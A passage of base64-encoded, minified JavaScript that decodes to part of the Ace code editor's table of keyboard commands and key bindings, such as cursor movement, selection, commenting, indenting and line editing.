ydCIsZGVzY3JpcHRpb246IkdvIHRvIGxpbmUgc3RhcnQiLGJpbmRLZXk6bygiQWx0LUxlZnR8SG9tZSIsIkNvbW1hbmQtTGVmdHxIb21lfEN0cmwtQSIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5uYXZpZ2F0ZUxpbmVTdGFydCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJzZWxlY3RsZWZ0IixkZXNjcmlwdGlvbjoiU2VsZWN0IGxlZnQiLGJpbmRLZXk6bygiU2hpZnQtTGVmdCIsIlNoaWZ0LUxlZnR8Q3RybC1TaGlmdC1CIiksZXhlYzpmdW5jdGlvbihlKXtlLmdldFNlbGVjdGlvbigpLnNlbGVjdExlZnQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToiZ290b2xlZnQiLGRlc2NyaXB0aW9uOiJHbyB0byBsZWZ0IixiaW5kS2V5Om8oIkxlZnQiLCJMZWZ0fEN0cmwtQiIpLGV4ZWM6ZnVuY3Rpb24oZSx0KXtlLm5hdmlnYXRlTGVmdCh0LnRpbWVzKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0d29yZHJpZ2h0IixkZXNjcmlwdGlvbjoiU2VsZWN0IHdvcmQgcmlnaHQiLGJpbmRLZXk6bygiQ3RybC1TaGlmdC1SaWdodCIsIk9wdGlvbi1TaGlmdC1SaWdodCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5nZXRTZWxlY3Rpb24oKS5zZWxlY3RXb3JkUmlnaHQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToiZ290b3dvcmRyaWdodCIsZGVzY3JpcHRpb246IkdvIHRvIHdvcmQgcmlnaHQiLGJpbmRLZXk6bygiQ3RybC1SaWdodCIsIk9wdGlvbi1SaWdodCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5uYXZpZ2F0ZVdvcmRSaWdodCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJzZWxlY3R0b2xpbmVlbmQiLGRlc2NyaXB0aW9uOiJTZWxlY3QgdG8gbGluZSBlbmQiLGJpbmRLZXk6bygiQWx0LVNoaWZ0LVJpZ2h0IiwiQ29tbWFuZC1TaGlmdC1SaWdodHxTaGlmdC1FbmR8Q3RybC1TaGlmdC1FIiksZXhlYzpmdW5jdGlvbihlKXtlLmdldFNlbGVjdGlvbigpLnNlbGVjdExpbmVFbmQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToiZ290b2xpbmVlbmQiLGRlc2NyaXB0aW9uOiJHbyB0byBsaW5lIGVuZCIsYmluZEtleTpvKCJBbHQtUmlnaHR8RW5kIiwiQ29tbWFuZC1SaWdodHxFbmR8Q3RybC1FIiksZXhlYzpmdW5jdGlvbihlKXtlLm5hdmlnYXRlTGluZUVuZCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJzZWxlY3RyaWdodCIsZGVzY3JpcHRpb246IlNlbGVjdCByaWdodCIsYmluZEtleTpvKCJTaGlmdC1SaWdodCIsIlNoaWZ0LVJpZ2h0IiksZXhlYzpmdW5jdGlvbihlKXtlLmdldFNlbGVjdGlvbigpLnNlbGVjdFJpZ2h0KCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixyZWFkT25seTohMH0se25hbWU6ImdvdG9yaWdodCIsZGVzY3JpcHRpb246IkdvIHRvIHJpZ2h0IixiaW5kS2V5Om8oIlJpZ2h0IiwiUmlnaHR8Q3RybC1GIiksZXhlYzpmdW5jdGlvbihlLHQpe2UubmF2aWdhdGVSaWdodCh0LnRpbWVzKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0cGFnZWRvd24iLGRlc2NyaXB0aW9uOiJTZWxlY3QgcGFnZSBkb3duIixiaW5kS2V5OiJTaGlmdC1QYWdlRG93biIsZXhlYzpmdW5jdGlvbihlKXtlLnNlbGVjdFBhZ2VEb3duKCl9LHJlYWRPbmx5OiEwfSx7bmFtZToicGFnZWRvd24iLGRlc2NyaXB0aW9uOiJQYWdlIGRvd24iLGJpbmRLZXk6byhudWxsLCJPcHRpb24tUGFnZURvd24iKSxleGVjOmZ1bmN0aW9uKGUpe2Uuc2Nyb2xsUGFnZURvd24oKX0scmVhZE9ubHk6ITB9LHtuYW1lOiJnb3RvcGFnZWRvd24iLGRlc2NyaXB0aW9uOiJHbyB0byBwYWdlIGRvd24iLGJpbmRLZXk6bygiUGFnZURvd24iLCJQYWdlRG93bnxDdHJsLVYiKSxleGVjOmZ1bmN0aW9uKGUpe2UuZ290b1BhZ2VEb3duKCl9LHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0cGFnZXVwIixkZXNjcmlwdGlvbjoiU2VsZWN0IHBhZ2UgdXAiLGJpbmRLZXk6IlNoaWZ0LVBhZ2VVcCIsZXhlYzpmdW5jdGlvbihlKXtlLnNlbGVjdFBhZ2VVcCgpfSxyZWFkT25seTohMH0se25hbWU6InBhZ2V1cCIsZGVzY3JpcHRpb246IlBhZ2UgdXAiLGJpbmRLZXk6byhudWxsLCJPcHRpb24tUGFnZVVwIiksZXhlYzpmdW5jdGlvbihlKXtlLnNjcm9sbFBhZ2VVcCgpfSxyZWFkT25seTohMH0se25hbWU6ImdvdG9wYWdldXAiLGRlc2NyaXB0aW9uOiJHbyB0byBwYWdlIHVwIixiaW5kS2V5OiJQYWdlVXAiLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5nb3RvUGFnZVVwKCl9LHJlYWRPbmx5OiEwfSx7bmFtZToic2Nyb2xsdXAiLGRlc2NyaXB0aW9uOiJTY3JvbGwgdXAiLGJpbmRLZXk6bygiQ3RybC1VcCIsbnVsbCksZXhlYzpmdW5jdGlvbihlKXtlLnJlbmRlcmVyLnNjcm9sbEJ5KDAsLTIqZS5yZW5kZXJlci5sYXllckNvbmZpZy5saW5lSGVpZ2h0KX0scmVhZE9ubHk6ITB9LHtuYW1lOiJzY3JvbGxkb3duIixkZXNjcmlwdGlvbjoiU2Nyb2xsIGRvd24iLGJpbmRLZXk6bygiQ3RybC1Eb3duIixudWxsKSxleGVjOmZ1bmN0aW9uKGUpe2UucmVuZGVyZXIuc2Nyb2xsQnkoMCwyKmUucmVuZGVyZXIubGF5ZXJDb25maWcubGluZUhlaWdodCl9LHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0bGluZXN0YXJ0IixkZXNjcmlwdGlvbjoiU2VsZWN0IGxpbmUgc3RhcnQiLGJpbmRLZXk6IlNoaWZ0LUhvbWUiLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5nZXRTZWxlY3Rpb24oKS5zZWxlY3RMaW5lU3RhcnQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToic2VsZWN0bGluZWVuZCIsZGVzY3JpcHRpb246IlNlbGVjdCBsaW5lIGVuZCIsYmluZEtleToiU2hpZnQtRW5kIixleGVjOmZ1bmN0aW9uKGUpe2UuZ2V0U2VsZWN0aW9uKCkuc2VsZWN0TGluZUVuZCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJ0b2dnbGVyZWNvcmRpbmciLGRlc2NyaXB0aW9uOiJUb2dnbGUgcmVjb3JkaW5nIixiaW5kS2V5Om8oIkN0cmwtQWx0LUUiLCJDb21tYW5kLU9wdGlvbi1FIiksZXhlYzpmdW5jdGlvbihlKXtlLmNvbW1hbmRzLnRvZ2dsZVJlY29yZGluZyhlKX0scmVhZE9ubHk6ITB9LHtuYW1lOiJyZXBsYXltYWNybyIsZGVzY3JpcHRpb246IlJlcGxheSBtYWNybyIsYmluZEtleTpvKCJDdHJsLVNoaWZ0LUUiLCJDb21tYW5kLVNoaWZ0LUUiKSxleGVjOmZ1bmN0aW9uKGUpe2UuY29tbWFuZHMucmVwbGF5KGUpfSxyZWFkT25seTohMH0se25hbWU6Imp1bXB0b21hdGNoaW5nIixkZXNjcmlwdGlvbjoiSnVtcCB0byBtYXRjaGluZyIsYmluZEtleTpvKCJDdHJsLVxcfEN0cmwtUCIsIkNvbW1hbmQtXFwiKSxleGVjOmZ1bmN0aW9uKGUpe2UuanVtcFRvTWF0Y2hpbmcoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJhbmltYXRlIixyZWFkT25seTohMH0se25hbWU6InNlbGVjdHRvbWF0Y2hpbmciLGRlc2NyaXB0aW9uOiJTZWxlY3QgdG8gbWF0Y2hpbmciLGJpbmRLZXk6bygiQ3RybC1TaGlmdC1cXHxDdHJsLVNoaWZ0LVAiLCJDb21tYW5kLVNoaWZ0LVxcIiksZXhlYzpmdW5jdGlvbihlKXtlLmp1bXBUb01hdGNoaW5nKCEwKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJhbmltYXRlIixyZWFkT25seTohMH0se25hbWU6ImV4cGFuZFRvTWF0Y2hpbmciLGRlc2NyaXB0aW9uOiJFeHBhbmQgdG8gbWF0Y2hpbmciLGJpbmRLZXk6bygiQ3RybC1TaGlmdC1NIiwiQ3RybC1TaGlmdC1NIiksZXhlYzpmdW5jdGlvbihlKXtlLmp1bXBUb01hdGNoaW5nKCEwLCEwKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJhbmltYXRlIixyZWFkT25seTohMH0se25hbWU6InBhc3NLZXlzVG9Ccm93c2VyIixkZXNjcmlwdGlvbjoiUGFzcyBrZXlzIHRvIGJyb3dzZXIiLGJpbmRLZXk6byhudWxsLG51bGwpLGV4ZWM6ZnVuY3Rpb24oKXt9LHBhc3NFdmVudDohMCxyZWFkT25seTohMH0se25hbWU6ImNvcHkiLGRlc2NyaXB0aW9uOiJDb3B5IixleGVjOmZ1bmN0aW9uKGUpe30scmVhZE9ubHk6ITB9LHtuYW1lOiJjdXQiLGRlc2NyaXB0aW9uOiJDdXQiLGV4ZWM6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS4kY29weVdpdGhFbXB0eVNlbGVjdGlvbiYmZS5zZWxlY3Rpb24uaXNFbXB0eSgpLG49dD9lLnNlbGVjdGlvbi5nZXRMaW5lUmFuZ2UoKTplLnNlbGVjdGlvbi5nZXRSYW5nZSgpO2UuX2VtaXQoImN1dCIsbiksbi5pc0VtcHR5KCl8fGUuc2Vzc2lvbi5yZW1vdmUobiksZS5jbGVhclNlbGVjdGlvbigpfSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCJ9LHtuYW1lOiJwYXN0ZSIsZGVzY3JpcHRpb246IlBhc3RlIixleGVjOmZ1bmN0aW9uKGUsdCl7ZS4kaGFuZGxlUGFzdGUodCl9LHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToicmVtb3ZlbGluZSIsZGVzY3JpcHRpb246IlJlbW92ZSBsaW5lIixiaW5kS2V5Om8oIkN0cmwtRCIsIkNvbW1hbmQtRCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5yZW1vdmVMaW5lcygpfSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaExpbmUifSx7bmFtZToiZHVwbGljYXRlU2VsZWN0aW9uIixkZXNjcmlwdGlvbjoiRHVwbGljYXRlIHNlbGVjdGlvbiIsYmluZEtleTpvKCJDdHJsLVNoaWZ0LUQiLCJDb21tYW5kLVNoaWZ0LUQiKSxleGVjOmZ1bmN0aW9uKGUpe2UuZHVwbGljYXRlU2VsZWN0aW9uKCl9LHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIn0se25hbWU6InNvcnRsaW5lcyIsZGVzY3JpcHRpb246IlNvcnQgbGluZXMiLGJpbmRLZXk6bygiQ3RybC1BbHQtUyIsIkNvbW1hbmQtQWx0LVMiKSxleGVjOmZ1bmN0aW9uKGUpe2Uuc29ydExpbmVzKCl9LHNjcm9sbEludG9WaWV3OiJzZWxlY3Rpb24iLG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoTGluZSJ9LHtuYW1lOiJ0b2dnbGVjb21tZW50IixkZXNjcmlwdGlvbjoiVG9nZ2xlIGNvbW1lbnQiLGJpbmRLZXk6bygiQ3RybC0vIiwiQ29tbWFuZC0vIiksZXhlYzpmdW5jdGlvbihlKXtlLnRvZ2dsZUNvbW1lbnRMaW5lcygpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaExpbmUiLHNjcm9sbEludG9WaWV3OiJzZWxlY3Rpb25QYXJ0In0se25hbWU6InRvZ2dsZUJsb2NrQ29tbWVudCIsZGVzY3JpcHRpb246IlRvZ2dsZSBibG9jayBjb21tZW50IixiaW5kS2V5Om8oIkN0cmwtU2hpZnQtLyIsIkNvbW1hbmQtU2hpZnQtLyIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS50b2dnbGVCbG9ja0NvbW1lbnQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJzZWxlY3Rpb25QYXJ0In0se25hbWU6Im1vZGlmeU51bWJlclVwIixkZXNjcmlwdGlvbjoiTW9kaWZ5IG51bWJlciB1cCIsYmluZEtleTpvKCJDdHJsLVNoaWZ0LVVwIiwiQWx0LVNoaWZ0LVVwIiksZXhlYzpmdW5jdGlvbihlKXtlLm1vZGlmeU51bWJlcigxKX0sc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIsbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2gifSx7bmFtZToibW9kaWZ5TnVtYmVyRG93biIsZGVzY3JpcHRpb246Ik1vZGlmeSBudW1iZXIgZG93biIsYmluZEtleTpvKCJDdHJsLVNoaWZ0LURvd24iLCJBbHQtU2hpZnQtRG93biIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5tb2RpZnlOdW1iZXIoLTEpfSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCJ9LHtuYW1lOiJyZXBsYWNlIixkZXNjcmlwdGlvbjoiUmVwbGFjZSIsYmluZEtleTpvKCJDdHJsLUgiLCJDb21tYW5kLU9wdGlvbi1GIiksZXhlYzpmdW5jdGlvbihlKXtpLmxvYWRNb2R1bGUoImFjZS9leHQvc2VhcmNoYm94IixmdW5jdGlvbih0KXt0LlNlYXJjaChlLCEwKX0pfX0se25hbWU6InVuZG8iLGRlc2NyaXB0aW9uOiJVbmRvIixiaW5kS2V5Om8oIkN0cmwtWiIsIkNvbW1hbmQtWiIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS51bmRvKCl9fSx7bmFtZToicmVkbyIsZGVzY3JpcHRpb246IlJlZG8iLGJpbmRLZXk6bygiQ3RybC1TaGlmdC1afEN0cmwtWSIsIkNvbW1hbmQtU2hpZnQtWnxDb21tYW5kLVkiKSxleGVjOmZ1bmN0aW9uKGUpe2UucmVkbygpfX0se25hbWU6ImNvcHlsaW5lc3VwIixkZXNjcmlwdGlvbjoiQ29weSBsaW5lcyB1cCIsYmluZEtleTpvKCJBbHQtU2hpZnQtVXAiLCJDb21tYW5kLU9wdGlvbi1VcCIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5jb3B5TGluZXNVcCgpfSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIn0se25hbWU6Im1vdmVsaW5lc3VwIixkZXNjcmlwdGlvbjoiTW92ZSBsaW5lcyB1cCIsYmluZEtleTpvKCJBbHQtVXAiLCJPcHRpb24tVXAiKSxleGVjOmZ1bmN0aW9uKGUpe2UubW92ZUxpbmVzVXAoKX0sc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJjb3B5bGluZXNkb3duIixkZXNjcmlwdGlvbjoiQ29weSBsaW5lcyBkb3duIixiaW5kS2V5Om8oIkFsdC1TaGlmdC1Eb3duIiwiQ29tbWFuZC1PcHRpb24tRG93biIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5jb3B5TGluZXNEb3duKCl9LHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToibW92ZWxpbmVzZG93biIsZGVzY3JpcHRpb246Ik1vdmUgbGluZXMgZG93biIsYmluZEtleTpvKCJBbHQtRG93biIsIk9wdGlvbi1Eb3duIiksZXhlYzpmdW5jdGlvbihlKXtlLm1vdmVMaW5lc0Rvd24oKX0sc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJkZWwiLGRlc2NyaXB0aW9uOiJEZWxldGUiLGJpbmRLZXk6bygiRGVsZXRlIiwiRGVsZXRlfEN0cmwtRHxTaGlmdC1EZWxldGUiKSxleGVjOmZ1bmN0aW9uKGUpe2UucmVtb3ZlKCJyaWdodCIpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJiYWNrc3BhY2UiLGRlc2NyaXB0aW9uOiJCYWNrc3BhY2UiLGJpbmRLZXk6bygiU2hpZnQtQmFja3NwYWNlfEJhY2tzcGFjZSIsIkN0cmwtQmFja3NwYWNlfFNoaWZ0LUJhY2tzcGFjZXxCYWNrc3BhY2V8Q3RybC1IIiksZXhlYzpmdW5jdGlvbihlKXtlLnJlbW92ZSgibGVmdCIpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJjdXRfb3JfZGVsZXRlIixkZXNjcmlwdGlvbjoiQ3V0IG9yIGRlbGV0ZSIsYmluZEtleTpvKCJTaGlmdC1EZWxldGUiLG51bGwpLGV4ZWM6ZnVuY3Rpb24oZSl7aWYoIWUuc2VsZWN0aW9uLmlzRW1wdHkoKSlyZXR1cm4hMTtlLnJlbW92ZSgibGVmdCIpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJyZW1vdmV0b2xpbmVzdGFydCIsZGVzY3JpcHRpb246IlJlbW92ZSB0byBsaW5lIHN0YXJ0IixiaW5kS2V5Om8oIkFsdC1CYWNrc3BhY2UiLCJDb21tYW5kLUJhY2tzcGFjZSIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5yZW1vdmVUb0xpbmVTdGFydCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJyZW1vdmV0b2xpbmVlbmQiLGRlc2NyaXB0aW9uOiJSZW1vdmUgdG8gbGluZSBlbmQiLGJpbmRLZXk6bygiQWx0LURlbGV0ZSIsIkN0cmwtS3xDb21tYW5kLURlbGV0ZSIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5yZW1vdmVUb0xpbmVFbmQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToicmVtb3ZldG9saW5lc3RhcnRoYXJkIixkZXNjcmlwdGlvbjoiUmVtb3ZlIHRvIGxpbmUgc3RhcnQgaGFyZCIsYmluZEtleTpvKCJDdHJsLVNoaWZ0LUJhY2tzcGFjZSIsbnVsbCksZXhlYzpmdW5jdGlvbihlKXt2YXIgdD1lLnNlbGVjdGlvbi5nZXRSYW5nZSgpO3Quc3RhcnQuY29sdW1uPTAsZS5zZXNzaW9uLnJlbW92ZSh0KX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToicmVtb3ZldG9saW5lZW5kaGFyZCIsZGVzY3JpcHRpb246IlJlbW92ZSB0byBsaW5lIGVuZCBoYXJkIixiaW5kS2V5Om8oIkN0cmwtU2hpZnQtRGVsZXRlIixudWxsKSxleGVjOmZ1bmN0aW9uKGUpe3ZhciB0PWUuc2VsZWN0aW9uLmdldFJhbmdlKCk7dC5lbmQuY29sdW1uPU51bWJlci5NQVhfVkFMVUUsZS5zZXNzaW9uLnJlbW92ZSh0KX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToicmVtb3Zld29yZGxlZnQiLGRlc2NyaXB0aW9uOiJSZW1vdmUgd29yZCBsZWZ0IixiaW5kS2V5Om8oIkN0cmwtQmFja3NwYWNlIiwiQWx0LUJhY2tzcGFjZXxDdHJsLUFsdC1CYWNrc3BhY2UiKSxleGVjOmZ1bmN0aW9uKGUpe2UucmVtb3ZlV29yZExlZnQoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToicmVtb3Zld29yZHJpZ2h0IixkZXNjcmlwdGlvbjoiUmVtb3ZlIHdvcmQgcmlnaHQiLGJpbmRLZXk6bygiQ3RybC1EZWxldGUiLCJBbHQtRGVsZXRlIiksZXhlYzpmdW5jdGlvbihlKXtlLnJlbW92ZVdvcmRSaWdodCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJvdXRkZW50IixkZXNjcmlwdGlvbjoiT3V0ZGVudCIsYmluZEtleTpvKCJTaGlmdC1UYWIiLCJTaGlmdC1UYWIiKSxleGVjOmZ1bmN0aW9uKGUpe2UuYmxvY2tPdXRkZW50KCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoIixzY3JvbGxJbnRvVmlldzoic2VsZWN0aW9uUGFydCJ9LHtuYW1lOiJpbmRlbnQiLGRlc2NyaXB0aW9uOiJJbmRlbnQiLGJpbmRLZXk6bygiVGFiIiwiVGFiIiksZXhlYzpmdW5jdGlvbihlKXtlLmluZGVudCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6InNlbGVjdGlvblBhcnQifSx7bmFtZToiYmxvY2tvdXRkZW50IixkZXNjcmlwdGlvbjoiQmxvY2sgb3V0ZGVudCIsYmluZEtleTpvKCJDdHJsLVsiLCJDdHJsLVsiKSxleGVjOmZ1bmN0aW9uKGUpe2UuYmxvY2tPdXRkZW50KCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoTGluZSIsc2Nyb2xsSW50b1ZpZXc6InNlbGVjdGlvblBhcnQifSx7bmFtZToiYmxvY2tpbmRlbnQiLGRlc2NyaXB0aW9uOiJCbG9jayBpbmRlbnQiLGJpbmRLZXk6bygiQ3RybC1dIiwiQ3RybC1dIiksZXhlYzpmdW5jdGlvbihlKXtlLmJsb2NrSW5kZW50KCl9LG11bHRpU2VsZWN0QWN0aW9uOiJmb3JFYWNoTGluZSIsc2Nyb2xsSW50b1ZpZXc6InNlbGVjdGlvblBhcnQifSx7bmFtZToiaW5zZXJ0c3RyaW5nIixkZXNjcmlwdGlvbjoiSW5zZXJ0IHN0cmluZyIsZXhlYzpmdW5jdGlvbihlLHQpe2UuaW5zZXJ0KHQpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJpbnNlcnR0ZXh0IixkZXNjcmlwdGlvbjoiSW5zZXJ0IHRleHQiLGV4ZWM6ZnVuY3Rpb24oZSx0KXtlLmluc2VydChyLnN0cmluZ1JlcGVhdCh0LnRleHR8fCIiLHQudGltZXN8fDEpKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToic3BsaXRsaW5lIixkZXNjcmlwdGlvbjoiU3BsaXQgbGluZSIsYmluZEtleTpvKG51bGwsIkN0cmwtTyIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zcGxpdExpbmUoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToidHJhbnNwb3NlbGV0dGVycyIsZGVzY3JpcHRpb246IlRyYW5zcG9zZSBsZXR0ZXJzIixiaW5kS2V5Om8oIkFsdC1TaGlmdC1YIiwiQ3RybC1UIiksZXhlYzpmdW5jdGlvbihlKXtlLnRyYW5zcG9zZUxldHRlcnMoKX0sbXVsdGlTZWxlY3RBY3Rpb246ZnVuY3Rpb24oZSl7ZS50cmFuc3Bvc2VTZWxlY3Rpb25zKDEpfSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIn0se25hbWU6InRvdXBwZXJjYXNlIixkZXNjcmlwdGlvbjoiVG8gdXBwZXJjYXNlIixiaW5kS2V5Om8oIkN0cmwtVSIsIkN0cmwtVSIpLGV4ZWM6ZnVuY3Rpb24oZSl7ZS50b1VwcGVyQ2FzZSgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaCIsc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciJ9LHtuYW1lOiJ0b2xvd2VyY2FzZSIsZGVzY3JpcHRpb246IlRvIGxvd2VyY2FzZSIsYmluZEtleTpvKCJDdHJsLVNoaWZ0LVUiLCJDdHJsLVNoaWZ0LVUiKSxleGVjOmZ1bmN0aW9uKGUpe2UudG9Mb3dlckNhc2UoKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IifSx7bmFtZToiYXV0b2luZGVudCIsZGVzY3JpcHRpb246IkF1dG8gSW5kZW50IixiaW5kS2V5Om8obnVsbCxudWxsKSxleGVjOmZ1bmN0aW9uKGUpe2UuYXV0b0luZGVudCgpfSxtdWx0aVNlbGVjdEFjdGlvbjoiZm9yRWFjaExpbmUiLHNjcm9sbEludG9WaWV3OiJhbmltYXRlIn0se25hbWU6ImV4cGFuZHRvbGluZSIsZGVzY3JpcHRpb246IkV4cGFuZCB0byBsaW5lIixiaW5kS2V5Om8oIkN0cmwtU2hpZnQtTCIsIkNvbW1hbmQtU2hpZnQtTCIpLGV4ZWM6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5zZWxlY3Rpb24uZ2V0UmFuZ2UoKTt0LnN0YXJ0LmNvbHVtbj10LmVuZC5jb2x1bW49MCx0LmVuZC5yb3crKyxlLnNlbGVjdGlvbi5zZXRSYW5nZSh0LCExKX0sbXVsdGlTZWxlY3RBY3Rpb246ImZvckVhY2giLHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToib3BlbmxpbmsiLGJpbmRLZXk6bygiQ3RybCtGMyIsIkYzIiksZXhlYzpmdW5jdGlvbihlKXtlLm9wZW5MaW5rKCl9fSx7bmFtZToiam9pbmxpbmVzIixkZXNjcmlwdGlvbjoiSm9pbiBsaW5lcyIsYmluZEtleTpvKG51bGwsbnVsbCksZXhlYzpmdW5jdGlvbihlKXt2YXIgdD1lLnNlbGVjdGlvbi5pc0JhY2t3YXJkcygpLG49dD9lLnNlbGVjdGlvbi5nZXRTZWxlY3Rpb25MZWFkKCk6ZS5zZWxlY3Rpb24uZ2V0U2VsZWN0aW9uQW5jaG9yKCksaT10P2Uuc2VsZWN0aW9uLmdldFNlbGVjdGlvbkFuY2hvcigpOmUuc2VsZWN0aW9uLmdldFNlbGVjdGlvbkxlYWQoKSxvPWUuc2Vzc2lvbi5kb2MuZ2V0TGluZShuLnJvdykubGVuZ3RoLHU9ZS5zZXNzaW9uLmRvYy5nZXRUZXh0UmFuZ2UoZS5zZWxlY3Rpb24uZ2V0UmFuZ2UoKSksYT11LnJlcGxhY2UoL1xuXHMqLywiICIpLmxlbmd0aCxmPWUuc2Vzc2lvbi5kb2MuZ2V0TGluZShuLnJvdyk7Zm9yKHZhciBsPW4ucm93KzE7bDw9aS5yb3crMTtsKyspe3ZhciBjPXIuc3RyaW5nVHJpbUxlZnQoci5zdHJpbmdUcmltUmlnaHQoZS5zZXNzaW9uLmRvYy5nZXRMaW5lKGwpKSk7Yy5sZW5ndGghPT0wJiYoYz0iICIrYyksZis9Y31pLn